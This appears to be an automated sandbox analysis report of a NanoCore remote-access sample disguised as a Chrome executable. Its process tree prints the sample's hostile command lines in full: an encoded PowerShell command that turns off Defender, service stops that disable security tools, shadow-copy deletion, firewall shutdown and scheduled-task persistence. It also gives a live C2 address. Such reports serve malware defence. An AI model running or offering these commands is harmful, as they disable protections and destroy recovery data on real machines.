Analysis

  • max time kernel
    150s
  • max time network
    149s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    10/11/2026, 04:28

General

  • Target
    xoilac79.vip_chrome.exe
  • Size 57KB
  • Sample261110-e32bpayzc1
  • SHA256 04491aa2dfee282f54b4386110c8b01227b958903d28d3400736437cd0c93026
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • nanocore

Version
  • 1.2.2.0

C2
  • http://xoilac79.vip

Mutex
  • ac7e2f05-8df7-4c55-8841-78385f6bb064

Attributes
  • c2_url

    http://xoilac79.vip

  • default_group

    xoilac

  • primary_dns

    ali.ns.cloudflare.com

  • secondary_dns

    woz.ns.cloudflare.com

  • version

    1.2.2.0

Signatures

  • Family: NanoCore

    NanoCore is a remote access tool (RAT) with a variety of capabilities.

  • Contains code to disable Windows Defender 2 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Creates a file in the Startup directory 1 TTPs 64 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Disables service(s) 3 TTPs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • Drops file in System32 directory 3 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
  • Launches sc.exe 12 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 7 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 8 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Owner/User Discovery 1 TTPs

    Attempt to identify the primary or current user.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 3 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\xoilac79.vip_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\xoilac79.vip_chrome.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Event Triggered Execution: Image File Execution Options Injection
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Reads the TCP/IP host and domain name from the registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4700
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:248
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:4032
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:5464
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:2120
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:6096
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:1304
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:4668
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:4520
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:3184
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1240
      • C:\Users\Admin\AppData\Local\Temp\xoilac79.vip_chrome.exe
        "C:\Users\Admin\AppData\Local\Temp\xoilac79.vip_chrome.exe"
        3⤵
          PID:4056
      • C:\Windows\System32\sc.exe
        "C:\Windows\System32\sc.exe" stop wscsvc
        2⤵
        • Launches sc.exe
        PID:1800
      • C:\Windows\System32\sc.exe
        "C:\Windows\System32\sc.exe" stop wuauserv
        2⤵
        • Launches sc.exe
        PID:940
      • C:\Windows\System32\vssadmin.exe
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        2⤵
        • Interacts with shadow copies
        PID:3404
      • C:\Windows\System32\wbem\WMIC.exe
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        2⤵
        • Reads the TCP/IP host and domain name from the registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:436
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
        • Executes a VBScript file via the Windows Script Host.
        PID:4876
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\xoilac79.vip_chrome.exe" /sc onlogon /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:1212
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\xoilac79.vip_chrome.exe" /sc minute /mo 30 /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:5988
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5204
        • C:\Windows\system32\vssadmin.exe
          vssadmin delete shadows /all /quiet
          3⤵
          • Interacts with shadow copies
          PID:4520
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic shadowcopy delete
          3⤵
          • Reads the TCP/IP host and domain name from the registry
          • Suspicious behavior: EnumeratesProcesses
          PID:4028
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3880
        • C:\Windows\system32\systeminfo.exe
          systeminfo
          3⤵
          • Gathers system information
          PID:1264
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3080
        • C:\Windows\system32\tasklist.exe
          tasklist
          3⤵
          • Discovers running processes
          PID:6056
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2036
        • C:\Windows\system32\whoami.exe
          whoami
          3⤵
            PID:5176
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:2640
          • C:\Windows\system32\net.exe
            net user
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:4480
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 user
              4⤵
                PID:6024
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:4244
            • C:\Windows\system32\ipconfig.exe
              ipconfig /all
              3⤵
              • Gathers network information
              PID:2040
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:3664
            • C:\Windows\system32\NETSTAT.EXE
              netstat -an
              3⤵
              • Gathers network information
              PID:1620
          • C:\Windows\SYSTEM32\schtasks.exe
            "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\xoilac79.vip_chrome.exe" /sc daily /f
            2⤵
            • Scheduled Task/Job: Scheduled Task
            PID:4612
          • C:\Windows\System32\wscript.exe
            "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
            2⤵
            • Executes a VBScript file via the Windows Script Host.
            PID:2560
          • C:\Windows\System32\notepad.exe
            "C:\Windows\System32\notepad.exe"
            2⤵
              PID:4648
            • C:\Windows\System32\vssadmin.exe
              "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
              2⤵
              • Interacts with shadow copies
              PID:5876
            • C:\Windows\System32\wbem\WMIC.exe
              "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
              2⤵
              • Reads the TCP/IP host and domain name from the registry
              • Suspicious behavior: EnumeratesProcesses
              PID:4408
            • C:\Windows\System32\net.exe
              "C:\Windows\System32\net.exe" stop srservice
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:2732
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 stop srservice
                3⤵
                  PID:3332
              • C:\Windows\System32\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                2⤵
                • Modifies Windows Firewall
                • Event Triggered Execution: Netsh Helper DLL
                PID:4744
              • C:\Windows\System32\sc.exe
                "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                2⤵
                • Launches sc.exe
                PID:3840
              • C:\Windows\System32\sc.exe
                "C:\Windows\System32\sc.exe" stop i8042prt
                2⤵
                • Launches sc.exe
                PID:1404
                • C:\Windows\System32\Conhost.exe
                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                  3⤵
                    PID:4876
              • C:\Windows\system32\vssvc.exe
                C:\Windows\system32\vssvc.exe
                1⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:2864
              • C:\Users\Admin\AppData\Local\Temp\xoilac79.vip_chrome.exe
                C:\Users\Admin\AppData\Local\Temp\xoilac79.vip_chrome.exe
                1⤵
                  PID:2208
                • C:\Users\Admin\AppData\Local\Temp\xoilac79.vip_chrome.exe
                  C:\Users\Admin\AppData\Local\Temp\xoilac79.vip_chrome.exe
                  1⤵
                    PID:2460

                  Network

                        MITRE ATT&CK Enterprise v16

                        Replay Monitor

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                        Downloads

                        scr_20261110_043005.jpg

                        • Path C:\ProgramData\SysUpdate\Scr\scr_20261110_043005.jpg
                        • Size 115KB
                        • SHA256 29c76ce50015a30d7dbb44b6fbcea21f6cb39aded65fc6a130277775144ab751
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        doc_2.pdf

                        • Path C:\SystemVolumeInformation\doc_2.pdf
                        • Size 76KB
                        • SHA256 ec6a7bd61c0b9ce8fd736461eae5e139660f0a691c2f9c9aff76ceb10bcb65a4
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        __PSScriptPolicyTest_qchcu0fw.baa.psm1

                        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qchcu0fw.baa.psm1
                        • Size 60B
                        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                        • MD5 SHA1 SHA512 TLSH

                        createshortcut.vbs

                        • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                        • Size 244B
                        • SHA256 f4ec6d10655ff642847cbabe07f346ee988e0260a73e2d75f0549ec49ca8d0c1
                        • MD5 SHA1 SHA512 TLSH

                        del.bat

                        • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                        • Size 59B
                        • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                        • MD5 SHA1 SHA512 TLSH

                        makelnk.vbs

                        • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                        • Size 245B
                        • SHA256 dad4d6f0a31faa4de73e9828e7d5298fc3909352f3448c4dad218d1c6f05ba16
                        • MD5 SHA1 SHA512 TLSH

                        temp_steal.log

                        • Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
                        • Size 154KB
                        • SHA256 f5058a2df3f4d6573f17c3e583345a7fac42bbbd34e27e00fda9fb7570bea7b4
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        stolen_data_here.txt

                        • Path C:\Users\Admin\Desktop\stolen_data_here.txt
                        • Size 154KB
                        • SHA256 a5ffe80997c9bba85304e72c4b7a3b095be14e0637a6a3092aa12cbb54f8d9ec
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        invoice_1.pdf

                        • Path C:\Users\Admin\Documents\invoice_1.pdf
                        • Size 76KB
                        • SHA256 a3f7c13c7957f2e2e387e63943522182e4800ecfda60bf158f2cee2b8793d417
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        READ_ME_NANOCORE.txt

                        • Path C:\Users\Admin\READ_ME_NANOCORE.txt
                        • Size 145B
                        • SHA256 7057e5f2042a9706c5d18b7d05214373577eb0293599d361bf66cfba3a3eee4f
                        • MD5 SHA1 SHA512 TLSH

                        sysupdate.exe

                        • Path C:\Windows\System32\sysupdate.exe
                        • Size 57KB
                        • SHA256 04491aa2dfee282f54b4386110c8b01227b958903d28d3400736437cd0c93026
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        RANSOM_NOTE.txt

                        • Path F:\RANSOM_NOTE.txt
                        • Size 177B
                        • SHA256 bfd4ed4bcd78100294aeaee2c2b4b8e37fb372b61cdcaa2a14f50ebe4b708e93
                        • MD5 SHA1 SHA512 TLSH

                        memory/248-19-0x00007FFB0B3E0000-0x00007FFB0BD84000-memory.dmp

                        memory/248-23-0x00007FFB0B3E0000-0x00007FFB0BD84000-memory.dmp

                        memory/248-22-0x00007FFB0B3E0000-0x00007FFB0BD84000-memory.dmp

                        memory/248-27-0x0000026455C10000-0x0000026455C2E000-memory.dmp

                        memory/248-29-0x00007FFB0B3E0000-0x00007FFB0BD84000-memory.dmp

                        memory/248-30-0x00007FFB0B3E0000-0x00007FFB0BD84000-memory.dmp

                        memory/248-11-0x000002643D740000-0x000002643D762000-memory.dmp

                        memory/248-35-0x00007FFB0B3E0000-0x00007FFB0BD84000-memory.dmp

                        memory/248-52-0x0000026455CF0000-0x0000026455CFA000-memory.dmp

                        memory/248-20-0x00007FFB0B3E0000-0x00007FFB0BD84000-memory.dmp

                        memory/248-54-0x00007FFB0B3E0000-0x00007FFB0BD84000-memory.dmp

                        memory/248-61-0x00007FFB0B3E0000-0x00007FFB0BD84000-memory.dmp

                        memory/248-13-0x00007FFB0B3E0000-0x00007FFB0BD84000-memory.dmp

                        memory/248-28-0x0000026455C30000-0x0000026455CE2000-memory.dmp

                        memory/248-24-0x00007FFB0B3E0000-0x00007FFB0BD84000-memory.dmp

                        memory/248-18-0x00007FFB0B3E0000-0x00007FFB0BD84000-memory.dmp

                        memory/248-16-0x00007FFB0B3E0000-0x00007FFB0BD84000-memory.dmp

                        memory/248-1977-0x00007FFB0B3E0000-0x00007FFB0BD84000-memory.dmp

                        memory/248-17-0x00007FFB0B3E0000-0x00007FFB0BD84000-memory.dmp

                        memory/248-14-0x00007FFB0B3E0000-0x00007FFB0BD84000-memory.dmp

                        memory/4648-2283-0x000001D017C50000-0x000001D017C51000-memory.dmp

                        memory/4700-1-0x0000000000A50000-0x0000000000A64000-memory.dmp

                        memory/4700-12-0x00007FFB0B3E0000-0x00007FFB0BD84000-memory.dmp

                        memory/4700-50-0x00007FFB0B3E0000-0x00007FFB0BD84000-memory.dmp

                        memory/4700-8-0x00007FFB0B3E0000-0x00007FFB0BD84000-memory.dmp

                        memory/4700-4-0x00007FFB0B3E0000-0x00007FFB0BD84000-memory.dmp

                        memory/4700-2291-0x00007FFB0B3E0000-0x00007FFB0BD84000-memory.dmp

                        memory/4700-2292-0x00007FFB0B3E0000-0x00007FFB0BD84000-memory.dmp

                        memory/4700-2294-0x00007FFB0B3E0000-0x00007FFB0BD84000-memory.dmp

                        memory/4700-3-0x00007FFB0B3E0000-0x00007FFB0BD84000-memory.dmp

                        memory/4700-2-0x00007FFB0B3E0000-0x00007FFB0BD84000-memory.dmp

                        memory/4700-0-0x00007FFB0B56F000-0x00007FFB0B570000-memory.dmp